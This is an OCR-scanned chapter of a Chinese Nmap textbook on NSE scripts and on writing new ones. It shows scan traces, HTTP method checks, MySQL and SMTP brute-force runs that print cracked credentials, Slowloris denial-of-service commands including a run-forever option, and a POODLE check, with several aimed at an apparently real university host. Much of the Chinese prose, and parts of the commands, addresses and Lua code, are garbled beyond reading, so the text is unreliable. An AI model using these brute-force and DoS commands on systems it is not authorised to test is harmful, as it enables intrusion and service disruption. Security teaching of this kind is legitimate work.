1d=27931 seq=8] IP [ttl=42 1d=21196 iplen=2§ ]

ROWVD (2.8378s) ICMP [211.81.200.8 > 10.16.39.44 Echo reply (tvpe=0/code=@8)
1d=27931 seq=8] IP [ttl=6l1 id=41892 iplen=28 ]

SENT (9.9858s) TCP 18.16.39.44:57148 » 211.81.200.8:199 5 t1t1=44 id=46987
iplen=44 seg=24892586708 win=1824 <nss 1468

SENT (9.9658s) TCP 18.16.39.44:57148 » 211.31.200.8:8080 5 tt1=59 id=24136
iplen=44 seq=2483258678 win=1824 <nss 1468

SENT (9.9658s) TCP 18.16.39.44:57148 » 211.31.200.8:993 5 t1t1=39 id=54163
iplen=44 seq=2482258678 win=1824 <nss 1460

SENT (9.9858s) TCP 18.16.39.44:57148 » 211.81.200.8:1025 5 tt1=58 id=17982
iplen=44 spg=2489258678 win=1824 <nss 1468

SENT (9.9658s) TCP 18.16.39.44:57148 » 211.81.208.8:135 5 tt1=52 id=57356
iplen=44 seqg=2489258678 win=1824 <nss 1468

SENT (9.9658s) TCP 19.16.39.44:57148 » 211.31.200.8:445 5 t11=57 1d=14756
iplen=44 seq=2483258678 win=1824 <nss 1468

SENT (9.9658s) TCP 18.16.39.44:57148 » 211.31.200.8:113 5 t1t1=43 id=53471
iplen=44 seq=24823258678 win=1824 <nss 1468

SENT (9.96R8s) TCP 18.16.39.44:57148 » 211.81.200.8:139 § tt1=55 id=29818
iplen=44 sepq=24892586708 win=1824 <nss 1468

SENT (9.96G8s) TCP 18.16.39.44:57148 » 211.31.200.8:1720 5 ttl=48 id=45529

iplen=44 seq=24892586708 win=1824 <nss 1468 ﬂ
SENT (9.96R8s) TCP 18.16.39.44:57148 » 211.81.200.8:23 5 ttl1=54 id=1448 iplen=44
seq=2189258678 win=1814 <nss 14683

ROWVD (9.971@s) TCP 211.81.200.8:1025 » 18.16.39.44:57148 RA ttl=61 id=8 iplen=4&

seq=8 win=@
RCOWVD (9.9718s) TCP 211.81.200.8:199 > 18.16.39.44:57148 RA ttl=6l id=@ iplen=48
seg=8 win=@
RCOWVD (9.9718s) TCP 211.81.200.8:1720 > 18.16.39.44:57148 RA tt1=61 id=8 iplen=48
s2g=8 win=@
SENT (9.9738s) TCP 19.16.39.44:57148 » 211.31.200.8:143 5 tt1=47 id=4885

F I 3 iplen=44 seq=2483258678 win=1824 <nss 1468

SENT (9.9738s) TCP 18.16.39.44:57148 » 211.31.208.8:256 5 ttl=55 id=28881

| m | inlanzdd =an=71R075ARTA win=1AT4d ¢m=c 14RAN aia

— !

B 7-9 585 --packet-trace 5 AU 45 5
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7.4 NSE % WA ¥ B

Nmap FJEEADEE RS VA . w5 SRRSO ISR DIEE, 111 NSE #—
BT KRERRBIIGE, 4779043 NSE B—LH WL ZhfE

7.4.1 (SRWESEHIZA

5 B W& & NSE — M E % LRSI EE, NSE AR KREBAFSLH TX e, XLk
FAASAS FH A [ A E AR A7 R 58 B T X HAR & i fE B E . A</ Li— & Web k5548 4
Hir, FHMZA http-methods #5F B #5 ik 55 # i XFFHY HTTP Jrik. F i Zs i T 7R http-
methods HTE4IE B .

# T M A http-methods B % 31 H 89, Web IR 55 #4575 2= 3 ¢ HTTP 775, A fig 1E #f 21t
HTTP 5. XL EARAME, 5 WA FEZA LU LR,

Q GET: HRIEENHER, JFRESARFERK,

Q HEAD: ZKIF GET ik, RALR W rh A BARM N ZS, TRk

Q POST: |48 SRR A BRI TAC HTE K (] an$R A8 R B ali s FAZ S )

Q PUT: M i ] i 55 15 325 2500 U CHe o SCRY I N 2

Q DELETE: i&KARSs 250 BR 46 B 0L IH .

Q OPTIONS: ARIF% F v A Ak 55w HIPERE

Q TRACE: [l fRs#EEIFER, FEHATL2H

1. BIZ http-methods it /5%

BAIAS http-methods B 7 B B2 1 Nmap [1] B A5 A 55 88 &8 752K, SRAWr B 45 il 55 45 B
LR HTTP JE, 7€ Nmap W5 228 FH --script 235 & Ir i FH 0 A, an 5 80 76 45 FH AR
http-methods, 72 HAT4S “--script http-methods” .

2. BI7K http-methods &Eit#H<
H #5 211.81.200.8 & — & X 4 3£ L HTTP Ik %% 89 Web Ik 55 #v., ¥ 4 & X H 5
211.81.200.8 A 7E LW, RKIFEX G RSHIT LA HTTP ik, $#ATHH2T .

Nmap -p 80,443 --script http-methods 211.81,200.8

Hr, “-p80,443” 82 T Hbp¥s I, --script http-methods $52 T AR /i .

K 7-10 25 H5 1 FHBIAR http-methods F 455,

ME 7-10 fir /s B 8 THE5 b al DLE &, H b ik 55 48 it X ## ) 7 :4 GET. HEAD,
POST. PUT. DELETE., TRACE. OPTIONS % 7 ', f#7E )X\ i 77 %4 PUT. DELETE,
TRACEE,
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k@ TAD REE WHH)
l Btx | 211.81.200.8 tl ks

@<t | nmap -p 80,443 --script http-methods 211.81.200.8

I ﬁi l BE Nmap¥t | B01/=4 | #a3 | HI8H | 9E

BIEEG 1 =H nmap -p 80,443 --script http-methods 211.81.200.8 m =
L Jyoctste.edu

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-11-84 14:37 2D1G+Ex?E
+22

Nmap scan report for math.tstc.edu.cn (211.81.200.B)

Host is up (©.8021s latency).

PORT STATE SERVICE

80/tcp open http

| http-methods:

| Supported Methods: GET HEAD POST PUT DELETE TRACE OPTIONS

| Potentially risky methods: PUT DELETE TRACE

443/tcp closed https Il

Nmap done: 1 IP address (1 host up) scanned in 18.89 seconds

B 7-10  XF HARBR 54 B SC RS HTTP J5iE AT #it

3. )7 http-methods EHiH &
AF B Web IR 5525 SCRFIO T IEAAEE], X R T & A Web [l 95 B8 F B9 4k 14 LA
K ERBLE TSI At 7ER e i X Se 5 el R A R SRR . B8 E 72 A2 T 20l
AP VAR AR L X B 07 o AR ISP 38 O FRAT 75 PR T A BRI BE fE sy, 3k 28 £ 6 A8
FRIRSE Z R H A B 5
H #if HTTP ) TRACE. CONNECT. PUT F1 DELETE J5 ¥ %8 7] fig J& Web Iz 55 & # —
g TE Ry 22 X JUHJE, W5R HARiR 548 3 FF TRACE J7i%, ¥iA fRESHEZ —Fh 4
4 Cross Site Tracing ( XST) ByXM . EXFEEd, Bh#EEHEEAERA— &8
il 19 LAY Web ST, 41502 0 WS AR N S8 b itT, 2RI IR 1 cookie
HTTP EEARGUE LK ntlm B uE{5 BR g & 8 8 C =6l 1 FL, FAHELE Trace 1EK 4 H
PR EML, B cookie MR & B AT . FIBE AR XST BGhEZ 6, #MEKE
H bRl 55 28 2 5 SR N T s o
xR
4 £ PAT Nmap B A 69BH4%, Nmap 2% B 47IR 4 8 K £ 4 IE 6., Nmap P ATeL 46y
KINE P op — R AW X AP 2P FE2, AR 4 T vA4E R http.useragent R4S B X /ANE P 3%
# Mozilla 42

Nmap -p 80 —--script http-methods--script-args http.useragent="Mcozilla 42" <target>

A —2% Web RFBAFE—NIHBEELT AL S/ HTTP request, XA B T he e
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HTTP By A 9471k B, T vA4& A HTTP pipelining % 8% HTTP request #93L & .,

Nmap -p 80 --script http-methods--script-args http.max-pipeline=10 <target>

7.4.2 BSRFEYEMSERAR
NSE #EH#Hm T45r RiE, RZHAF S SR BARSES & HA FEHL A

1. )7 broadcast-ping.NSE

HITHM: ZIAH ML PTG ENL, Nmap PHEEEIXATEA, (HEE T M A H#H
W 28 R — TP Mtk e 38 B IR BT B AR SE B .

Hitrk: 5 hmB R BBRESIREEAR, XA %R T B dE 4,
U0 A [1] 274 1, o 24 v i 1) TP ik R TR . XA A S A TR ZAEA 1 H AR,
ERALARETZER 2% H AR, BIAnVR BT B9 4% TP ikl 192.168.0.0/24, 54 #7E Bl 4
JERXAN AL

B4 A broadcast-ping F R T2 AT 7N

Nmap --script broadcast-ping

BHITE5 R . A broadcast-ping A8 TH45 R UTF Fis -

Pre-scan script results:

| broadcast-ping:

| TP: 192.168.0.20 MAC: 07:11:27:36:4f:81

| IP: 192.168.0.26 MAC: 51:23:c4:3f:d7:44

| ~ Use --script-args=newtargets to add the results as targets
WARNING: No targets were specified, so 0 hosts scanned.

Nmap done: 0 IP addresses (0 hosts up) scanned in 4,31 seconds

X 2% B A Hb Y 2 1A P B TR AL .

1% T RAG — A targets-sniffer. NSE,

2. )7 targets-sniffer

HIFEHB: IS H W) 268 A B T AL o

BT A targets-sniffer B I 71A T 0 F0K,, BESXRBTE R M 28 2EATIRER, 2R
JG Z MM T EHL. RN AR & T B iRt 2 AR R M Z R Bin, FlaniRer
TER R 2% TP Hidik o4 192.168.0.0/24, FAFMAITE L XA Hidk . XA AT 2 AR, H
A DA -e SRBAT 48 Wy IR R 352 45 o

HIiTa: A targets-sniffer BIH T2 U0 F .

Nmap -sL --script=targets-sniffer -e <interface>

TR . A targets-sniffer A9 H 45 R U1F .

Pre-scan script results:
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| targets-sniffer: Sniffed 4 address(es).

| 192.168.0.1

| 192.168.0.3

| 192.168.0.35

| 192.168.0.100

WARNING: No targets were specified, so 0 hosts scanned.

Nmap done: 0 IP addresses (0 hosts up) scanned in 10.30 seconds

X RBHA M 28 P S HTA 4 BT EREL

7.4.3 FEIOETHSEEA

W2 - PE LA AR 55 — AR B — e AN IERG i, B ATR o8 T2 A IR T 2 P
2 AER, XFAER M CHAE TR ST, Mk ETREZH P BRI B8 E N E
vk, SRR RASICER SN, MXEEERAES B EEELE, HIMY
R B T B — A R RS B P26 25 F AR 55 (1) B S 5 B A T/

ERRWEEREHARGT, A NEIRERRFELSIEET . IR EN L 2EAT
i, BHAEITimE B WA EHEA MySQL, MSSQL. Oracle, Access /R ZF, NSE &
T REFH X EFIRE AT R I EA . X B LA mysql-brute. NSE il

1. IR mysql-brute.NSE

HiTEHE: KRR el A 55 12 19 MySQL B

FiT s A mysql-brute NSE #8711 75 L H AR T B, 7E Nmap 1A P 200E X,
— S —E WP 4, B UETPREA L E WA E, X AR X R
SRR P A AR AT H B R e 208 %

it a4 BB H AR EHL 192.168.153.132 [ iz 47 % — 4> MySQL £ /&, 3 7 fifi A
mysql-brute. NSE X} X NEHEFEHITHTF T/E, 2T,

Nmap -p 3306 --packet-trace --script mysqgl-brute 192.168.153.132

Hi45 5L, 7 mysql-brute NSE B8 1455 40F .

-— 3306/tcp open mysqgl

-- | mysgl-brute:

-—— | Accounts

-—— | root:root - Valid credentials

XA LIFEHK, HIsEV EE178 MySQL FFAE— M TaRAEMSHOS: HE 4
root, #H% root,

2. A smtp-brute.NSE

smtp-brute. NSE JEIZAS F ek B AR R AR 55 % SMTP R 55 ) %50 2 A5 g nat:
HitE W BFERESRTEF SF M —LIEEEEZNGFE R, MXTHP T IAUER 5 =
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SR P A FAER, IR EAEE—SE i B K P A MBS, EATRAR 2S5 Bk B 25 (1) g
o PILFREE SR IRSF 451755 D K4

FIFIrE: X SMIP R H N ok 2 1951817730, Nmap G —1~44 4 smtp-brute.
NSE BIAS, X ANEIAS A DL Xt SMTP %5 i % 1195 f%, B 3<#F LOGIN, PLAIN, CRAM-
MD5 . DIGEST-MD5 F1 NTLM PUFy&E . BRINFOL T, smtp-brute.NSE 28 F| /NSElib/data/
usernames.Ist U RIS IAE R H 44, /NSElib/data/passwords.Ist SCFH A2 E A %0

Hitaa: BB ENL 211.81.200.8 & — & X FMEAE SMTP ARk 55 B HRAF AR 55 4%, BLTE
BXXA HingtfrZawil, EARAX S RS2 B R S B 2R 2ttt $uUT
SRy (1

Nmap -p 25 --script smtp-brute <target>

HIT4R . B smtp-brute NSE FJH IHE R AT .

-- 25/tcp open stmp syn—-ack

-- | smtp-brute:

-— Accounts

braddock:jules - Valid credentials
lane:sniper - Valid credentials

|
|
-— | parker:scorpio - Valid credentials
| Statistics

|

Performed 1160 guesses in 41 seconds, average tps: 33

g EE AR R, LA M4ET SMTP RS #HAAAERD =455 0k, 45
s braddock:jules. lane:sniper., parker:scorpio,

YR Al LU 4E & SH00 7 SR SR FIr il B9 R P 22 A, an A8k P 44 4
K% /var/usernames.txt, 2 hddh Y /var/passwords.txt,

Nmap -p 25 --script smtp-brute --script-args userdb=/var/usernames.txt, passdb=
/var/passwords.txt

AR A= — N IER R 50 AT LME IR, AT LA A brute firstOnly 248,

Nmap -p 25 --script smtp-brute --script-args brute.firstOnly <target>

F38b, XA AR S SR AN R B BERIDUY , 24K brute.mode 5 7€

Q User Bz, XFEICB—MHP %, AR A RENSREX, SraHaHa
Zia, HITH P — TR 4

Nmap --script smtp-brute --script-args brute.mode=user <target>

Q pass B30, XFPELASCH— 80, RIS HATA AP 2 5 HECx, SIraaask
Gia, HITIR T — M,

Nmap —--script smtp-brute --script-args brute.mode=pass <target>

Q XFEN S RTPIFIAE], creds H BTA B9 - 24 A IS AR S 7 [ — A SCF e, g ale
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I F admin/123456 XFIEE, Nmap S iBCH P 8 —1T7, R VIR RS 2361 TUCHL .

Nmap --script smtp-brute —--script-args brute.mode=creds,brute.credfile=./creds.txt <target>

7.4.4 BEFAREERIA

XFEA AT e 2 R m O BF T, EHTEENRAX X IiEh, AMRES
AR T BARE—A T T RS, 7 LE WS RGO M H, NSE A
P selm iR AR EE, A X LEAS, AT LA Nmap % BARA TR ST, i e
TAES

1. I http-slowloris.NSE

H T H#: Slowloris &7 2009 4 H # 44 Web % 4= % 5K RSnake $2 H i) —Fp 0 7 i,
L R DR ARG A 3 B ] i 55 A% & 3% HTTP 353K . T Web Server % T3 & I EBEEGERA —
ERYERR, R, WiSRGE S X SR A R, R4 Web Server BT A 1 B2 AN S Bk
A, WIS RTER, REEEL RS

#1715 : Nmap HF http-slowloris :X M EIAS, A () I B2 0] H AR A %R, FHORFF
XA~ ER:, HH http-slowloris A E T —NWEIER HTTP 353K, HERHLUL, 22— DA%
) HTTP 35K

GET / HTTBE/1.1\r\n

HOST: host\r\n

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;
NET CLR 1.1.4322; .NET CLR 2.0.50313; ? ? .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; MSOffice 12)\r\n

Content-Length: 42\r\n

76 1F % () HTTP £33k rp, 2 LI P4~ CLRF %78 HTTP Headers #5445 W i, 1 T Web
Server HUYLE|— \r\n, K IKIA A HTTP Headers #7r%A 4K, IHMERFILEZE ARG, 2%
Gpae o B SR . AR P A AR HTTP 3k, (R 20, Y iE 2 i
J&, MRS58 EREUR R &R 3] FRR

i itar4: HAR 211.81.200.8 &2 — & X /MEHE HTTP i 55 19 Web iR 55 4%, BUAEZEXTiX
NEBHITEEFTE, DR RS 45E S REHUE slowloris DoS Hifi. $ATHIMAUNT o

Nmap -p 80 --script http-slowloris --max-parallelism 300 <target>

HiTaE R A http-slowloris. NSE B H iT45 50 .

PORT STATE SERVICE REASON

80/tcp open http syn-ack
| http-slowloris:

| Vulnerable:

| the DoS attack took +5m35s



% 7% NSE EMES « 115

| with 300 concurrent connections
| and 900 sent queries

WRIEF LR, ATLUE B His RS 4 A 2450 slowloris DoS X HIRE ST o

WY . TEHATH TSRS, Wl LI 3% http-slowloris.send interval Z %k L
AR FIH AL FE . http-slowloris.send_interval S 7] LL+5 i€ & % http header datas HJ[E]FF, #RIA
{E29 100, AL SEIEUCN 300,

Nmap -p 80 --script http-slowloris --script-args http-slowloris.
send interval=200 --max-parallelism 300

http-slowloris.timelimit 24§45 & DoS i 2Lz Ty E], FRINN 30 434, BlAedE S
ZRUBYCN 15 5150

Nmap -p 80 --script http-slowloris --script-args http-slowloris.timelimit=15m <target>

http-slowloris.runforever 258 & X} HAn— E & 3l DoS X, BRIME N false, BRFEFRFLE
] H AR & AR BT

Nmap -p 80 --script http-slowloris --script-args http-slowloris.runforever <target>

FAN, Nmap il —1~44 N http-slowloris-check.NSE BJJHIA, X MEHAFASER K
H—IK DoS Mrily, M2l Hir &S A HEXFIEGERRE ), XA H2xa) B bR & X B A
K, PATXN AU .

Nmap -p 80 --script http-slowloris-check <target>

2. X BiriRB 2225 FE POODLE fwiR#FATEHLT

H## B : POODLE JwiH (JRE) CVE-2014-3566 ) P2 A KA A& B, SSL tHi
EEWEE—NT %2, BHH) SSL 3.0 B B HEELLEEHIRIE, HEEMNE
TE 2T A v 3 R BT BE 2 # ] 7 SSL 3.0 I i fE A b i@ fE N A . XA
RELUARKMMERE, FEEGEHEZSERMEHRE, HEEAL WiFi H #8535 &, PR
FEEAHERE],

FHE 7 Nmap AL T —/N 44 4 ssl-poodle B4, 0] DL A Kk H AR IR S 28 215
177 POODLE il .

Hiim4 . B HFrIRFA% 211.81.200.8 22— A H T SSL &I IRSFS 2%, MEXNX &
W55 ant AT, AR ZRSS 45 B4 POODLE JwilE, AW a4

Nmap -sV --version-all --script ssl-poodle -p 443 211.81.200.8

PSR X HIR RS 252 B /77E POODLE iR # I HF 4R,

PORT STATE SERVICE REASON
443/tcp open https syn—-ack
| ssl-poodle:
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| VULNERABLE:
| SSL POODLE information leak
| State: VULNERABLE
| IDs: CVE:CVE-2014-3566 O0OSVDB:113251
| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and
| other products, uses nondeterministic CBC padding, which makes it
easier
| for man-in-the-middle attackers to obtain cleartext data via a
| padding-oracle attack, aka the "POODLE" issue.
| Disclosure date: 2014-10-14
| Check results:
| TLS RSA WITH 3DES EDE CBC_ SHA
| References:
| https://www.imperialviolet.org/2014/10/14/poodle.html
| http://osvdb.org/113251
| http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
| https://www.openssl.org/~bodo/ssl-poodle.pdf

HRYE 1945 R T LR B IRk 55 4 _EAF7E POODLE il o

Py e LA NG T %Rk 4 B2 /L POODLE Wil , [RIAES I 1%
Pl RIS B o B X S {5 B FR AT LASE N4 i 1 i Se i 9 A, AR el e A X
LT

IN&i

B ARTRES, EEXN NSEH T —1014 T ##, 3 H2%> 7 Nmap P —Lo L A<
AT ¥, Bl JG % BB SE PR TAER SR B RIS T — SR N . W —FH4G, BIFth
HO 3l FoRE L4,



CHAPTER

%85
. 08

NSE VR E:

EX—FH, BHEJHRIT NE.
Q NSE JiA iy ZEA k% 3K
Q NSE A& 1B B .
Q NSE AR E.
Q NSE AR HA R 4GE .

8.1 NSE JHIAS 3L AKS X

—/NSEREY NSE A4S I JLER 4 .

Q description FBt: XA 411% NSE W IIEE, #£ Nmap H 0] DA{di B --script-help
BRI e [ e K rP ) N 2 o

Q categories FBL: XEPT AL H T 1% NSE FrER 432, #E Nmap $A47 BIASHS 1] DL 43
Kintr, BRI S I 1,

Q action FE: JAARPATREAENE . LAE T rule FE R GEAh L PA TR, e
i H action F-BE SR PRER

Q rule FB . FIARATATRORIN], L0200 E il A AT B9 R/ AF . XA — A
Lua pRZEL, R [FEMEHA true F false PP, HA Y rule FEGR A true B, action HT Y pR
AT .
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A 8-1 45 T —~ NSE A=,

local shortport = require “shortport”

description = [[]]

author = “"admin”

license = “Same as Nmap——See http://nmap. org/book/man-legal. html”

=1 B O = LI B =

categories = {"default”}]

10 portrule = function( host, port )
11 return true

12 end

13

14

15 action = funection(host, port)

16

18
19 end

4 8-1 —~ NSE A AI#% X

8.2 NSE JHIAR i3

NSE A B $ATE 5 Nmap Y MAHS G, B PTE AT 1 56 )5 0w 26 25045 HS FILE
XA BB TI0F 2E H e R R e, HET—3E A 4 R,

Q Prerule() #LM], XASHLIN] A AT E BT Nmap A5, B R EIA AN 298 H Nmap
HF#S R PAETEE R . PUTHIIRF 254, J5 Nmap Hf#.

Q Hostrule() #LN|, X MHNETE Nmap E 2578 I EVL AR Z FHATH, RiEEILA
PRA) 25 SR foh 2 i AR . $AT AT J2 56 Nmap EHLEEL, JEHIAS .

Q Portrule() LN, XAFEN S hostrule() FEMAAZAEALL, ANidETEPRAT 1w 1 F9 3 B RAR
for il i A4 2 fh & B BAS , XS ELI AT S e 0 RRES IR R B BT RO R 2 5T
Nmap ¥ D335, JoEA .

Q Postrule() HLN, XAFNZAE Nmap O LA WA ZE AT, —BAHXA
BAMER . PATHIIN & S WERE RS R LG A =PI T A

#ian, Fe—Boka i vl Sy O B9 EAS AT G0 X — B

portrule = function(host, port)
return port.service == "smtp" and

port.number ~= 25 and port.number ~= 465 and port.number ~= 587
and port.protocol == "tcp"
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and port.state == "open"

FEXA LT, HA—A portrule, B IX A BIA g2 78 ST I 1 b R 12 AT HY o ) T
A S0 X Bk I o] 5S¢ v 11 B BAS EA T4 4

8.3 NSE HRZHBEIN i H

%5 NSE I ATk M RIS, IR nl LMERHIRE &0 7R RIS Bl
vi, nano. gedit E£EFICHFHARWAILL, AN XETF & AT FEA DL VERGTIEE, B DI7EX B
#£—>H Java %5 1) Halcyon Zffd% . X g4 L VFIRX NSE #4711, RIRFd it 1
Ri#h 2 FEE SR DIEE

Kl 8-2 J&/~ T AH4eE B B i) Halcyon 2.0 i sy TVE A1 .

L N | Haleyon IDE 2.0
File Edit Project Help
00/a8 Eo0aa 008w m.ors | [AQ
Nmap Libraries | :f fUsers/s4n7h0/GitHub/NSEfhttp-nikto-scannse | jUsers/san7ho/GitHub/NSE htip-shellshock nse
MWSE Data ! =
Nmap Scripts A 35 |author = “Sancop Thomas (@s4n7h@)" —
d;gf 36 [License = "Same as Mmap--See http://nmap.org/book/man-legal.html”
jusrflocalyshare /A= 37 |categories = {"exploit", "intrusive"}
— [} acarsd-info.ns¢= ;L
ddress—infa. i 39 [local httpspider = require 'httpspider! =
Da ress=into.ny 4 40 [Lecal shortport = require ‘shortport”
B D afp-brute.nse A 41 lecal url = require "url’ =
[ afp-ls.nse i 42 [local http = reguire "http’
™ afp-path-vulnl [[:] 93 [Local table = require “table" B
D afp-p ) A 44 [local stdnse = reguire "stdnse®
— [ afp-=erve rinfol | =
— [} afp-showmoun| A 46 portrule = shortport.http
A 47
— -auth. :
D a!p SRS i 48 jaction = functien(hest, port)
[Y aip-brute.nse | |15} 49 local url list = {}
— [} ajp-headers.nd ([} 50 local fi = {3}
in-methods. gl local ul = {}
D a!p me N o 52 Llocal response
~ D aip-requestay I] 53 local flag = @
—Dallsee'rlge?e—m 54 Llocal singleuri,reason = nil
L —info. A 55 local cookies = "
Darﬂqp Nk N5E 56 locel Stﬂl"t[}ath =y
— [ asn-query.nse g =7 local depth = 28
[t auth-owners.nf ||:] 58
- D auth-spoal. ns§— o 59 —=5etting commandline paramsters 1T usor has given any _
=PRI . =L if(nmap. registry.args.cookies] then ~ ]
| I | I [ [

========== Fxecution Slarte =========

|

Starting Mmap 7.10 { hitps:/ /nmap.org ) at 2016-03-30 23:31 5GT
[PORTS: Using wop 1000 ports found open (TCP:1000, UDF:0, SCTP:0)
m==—mcme—ccc—e Timing report =-===-====—c=-=

hostgroups: min 1, max 100000

rit-timeouts: init L300, min LOQ, max 10300

max-scan-delay: TCP 1000, UDE 1000, SCTF 1000

parallelism: min 0, max 0

max-retries: 10, host-timeout: 0

fUsers (sdnFho/GitHub | NSE [ hitp=shells hock.nse |:|

i 8-2 Halcyon 2.0 w78 T /A1

XA B IE IR AW, R0] LA [A] http:/halcyon-ide.org/ T w4y
MRETH AP 22 Nmap Z 5, &% B ® Pl l—4 script.db 3XF. VREY A A

A HE BARRAFAE XA U o X BEAIASHE script.db H IR FAI& AN 8-3 Fm o
TE55— X f ] Halcyon IDE_v2.0.jar Ji5 48 ZHI, o EZXTBAR b ECE , & 8-4 FTs.
Bl R e — N E 8-5 s BIRTEHE
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Entry { filename = “acarsd-info.nse”, categories = { “discovery”, “safe”, | |

Entry { filename = “address—info.nse”, categories = { “default”, “safe”, | |

Entry { filename = “afp-brute.nse”, categories = { “brute”, “intrusive®, } |

Entry { filename = “afp-ls.nse”, categories = { “discovery”, “safe”, | 1

Entry { filename = “afp-path-vuln.nse”’, categories = { “expleit”, “intrusive”, “wuln”, } 1}
Entry { filename = “afp-serverinfo.nse”, categories = { “default”, “discovervy”, “safe”, | |
Entry { filename = “afp-showmount.nse”, categories = { “discovery”, “safe”, ] |

Entry { filename = “ajp-auth.nse”, categories = { "auth”, “default”, “safe”, 1 |

Entry { filename = “ajp-brute.nse”, categories = { “brute’, “intrusive”, } |}

Entry { filename = “ajp-headers.nse”, categories = { “discovery”, “safe”, | 1}

Entry { filename = “ajp-methods.nse”, categories = { “default”, “safe”, | |

Entry { filename = “ajp-request.nse”, categories = { “discovery”, “safe”, | ]

Entry { filename = “allseeingeye—info.nse”, categories = { “discovery”, “safe”, “version”, } |}
Entry { filename = “amgp-info.nse”, categories = { “default”, “discovery’, “safe”, “versioen”, | |

& 8-3

script.db BN 2

Co nﬁgu ration Missing

Classpath is not configured. Halcyon will not work as desired without this configuration.
Click Yes to configure now or No to quit.

| EH )

———————— —

& 8-4 Halcyon 2.0 B3 hif) (o) A

r |£ Configure li;g \
fl [ Auto Config
Nmap Path : B
NSE Path : B
Lib Path : B
Apply | Clear ‘ Cancel

¥ 8-5 Halcyon 2.0 B HahECE S (—)

7E3X BB “ Auto Config” #24H, N&l 8-6 Frzs.

|£ Configure ELE
' [ Auto Config
Nmap Path: C:\Program Files (x86)\Nmap\nmap.exe B
L |
NSE Path: C\Program Files (x86)\Nmap\scripts\
.
Lib Path : C\Program Files (x86)\Nmap\nselib\ ﬂ
e
Apply | Clear ‘ Cancel

8-6 Halcyon 2.0 B H B ECE A1 (=)
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WARVRE Nmap &% H ¢ 5iX B E/R WA ARERTE, TUFh#TEE, REHRT
“Apply” #4l, N ZJ5 Halcyon IDE v2.0jar BIRC B ELSERL T o

TR A S — DB A TR S 2] Nmap H 53R

B 1. F7HF Halcyon IDE v2.0jar fifgay, SEHEHFE—NTH, WK 8-7 i,

E"E Elﬁl ||5canme.nma|:r.curc|

Open Cidl-O

Drariss | z
Save e = :
Save As. : ;
GYMmapiscripts =) :
Close =| :
Export Script
Updata Script DE
Print il
Exit cua
[ app-snowmountnse
[y ajp-auth.nse

D ajp-brute nse

[ alp-headers nse

[y ajp-methods.nze

[ aip-requesinsa

[ anzeeingeye-nto.nze
[y amap-info.nse

[y asn-query nse

[y auth-owners.nza

[ auth-spoofnze

[y backorince-prte nse
[y bacxorfice-info.nse
[y bacnetinfonse

[y bannernse :
[y bitcoin-getzadr.nse -

| =

- - |
1] I [ [»] ||

A 8-7 AIE—HrRIiH
T 2. #HE—DXHENE, RFZESRIEERARNEEAEMSZE, WE 8-8 Fin.

[ b
| £| Create New Project E&g

Script Name : n
Description :
Port/'Service . |default -
Author: admin

auth -

broadcast =
Category :

brute

default <

‘ Create Cancel |

& 8-8 BLEMARAAELE MK
X AT LUE 2 4 ar 2408 T — 1~ Un1E] 8-9 frs i) NSE A OBt SCIF
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1 lecal shortport = require “shortport”
2

3 description = [[]]

B

S5 author = "admin”

6 |[license = "Same as Nmap--See http://mmap. org/book/man-legal. html”
7 categories = {"default”}

8

9

10 portrule = function( host, port )

11 return true

12 end

13

14

15 action = funection(host, port)

16

17

18

19 end

& 8-9 —ANFRifE NSE A HLHe Sc 4
AR T EIHA BARNE, B MRS B3R A7, W 8-10 Fis,

S ol 0 20 o oo Seipi e e T |
rn[ Edit Project Help
New N E _ ﬂ E | nl u _ _scanme.nmap.urg ”default
Open Cirl-O
— yraries : xitest.nse
Save Cirl-5 .
cripts L 1 loecal shortport = require shortport”
Save As. . 2
GIMNmap\scripts I~y 2
Close = 3 description = [[]]
Export Script 4
Update Script DB : 5§ |lauthor = "admin”
Print ‘| & license = “Same as Nmap——See http://rmap. org/boo|
rin frl-F
: 7 categories = {"default”}
Exit Cirl-0
& 8
— D afp-showmountnse N 9
— [} aip-auth.nse | 10 portrule = function( host, port )
— D ajp-brute nse 11 return true
— [} aip-headers nse 12 end
— [} aip-methods nse |13
~ [} aip-requestnse 14
- D allseeingeye-info.nse )15 action = functiomhost, port)
— [} amgp-info.nse 16

A 8-10 fRAFHIA

TR 3. BHA test NSE U5 il 3] Nmap 22%% H 5k scripts XAFde
IR 4. 1 Nmap &7 F 4

Nmap --script-updatedb

20Dl AR, $B RS 1Y test NSE AT M%) Nmap ) script.db H [
£ NSE Hid i BT B AR &
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Q SCRIPT_PATH: XAMEAR i Azt T 40T Bz o

Q SCRIPT NAME: X/IAEAR R AAZI T Y247

Q SCRIPT _TYPE : XPEEAR s &I A s TR, HBB/Z prerule. hostrule. portrule
a7 postrule.

8.4 4T L) NSE JHIAC

AT AN G 5 — > 18] BR ) BAV A SR SE B X — A Web IR 55 %8 BRI DI fE . XA Y
DNEEAR A ., B4R Bind A, wnlRA B B 1 80 vw I, JFF HAEX M I _EiafT
HTTP k%%, BR4 Nmap N4iH “This is a WebServer” .

B JtJA 3 Halcyon IDE v2.0jar, #—/> NSE A, WA 8-11 FiR.

r N
|| Create New Project | . |WJ
Script Name : |B
Description :
[
Port/Service : |default -
Author: admin
auth &
broadcast F
Cateqgory :
brute
default =
[ Create ‘ Cancel ‘
|
" |

F 8-11 A — A

WHEHA M 23N “discovery”, BR)G BT create #7410, WA 8-12 Fi/n.

SRIGEBREARA ) H R A%, X B L my-http-detect. NSE WA RFEAE C & F, WA
8-13 ffi7m .

BAE AT AFEX A A in N s T, Wi 8-14 fis

B Jei N description FBt, X H H2—BEA@AMENCT, HTRABRAR B BMAHE,
WA T FEHIEK

description = [[Checks if HTTP is running on the port 80.]]
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| £| Create New Project
Script Name : ﬂ
Description :
s AT -
Author: |admir1 |
|| category -
||
! Create Cancel

’l 8-12 ¥ H 2Kk #E Nl “discovery”

& Save Script As - e
1 | S AR ) v| (=] (&) [2) [B8]s=
(] Drivers 7 QMDownload [ List.ixt
] Intel 9 gycache [ log_network.txt
] NVIDIA ] Users D mysql-cis.audit
] PerfLogs ] Windows
[ Program Files [} bar.emf

|I| [ Program Files (x86) D InstallConfig.ini Il
pra == | |my‘—h1‘tp—dete ctnse |
MFZEENT:  RREDCF v

217 BH

&l 8-13 ¥4I H LA my-http-detect. NSE HZARFFAE C £ T

Cimy-http-detect.nse

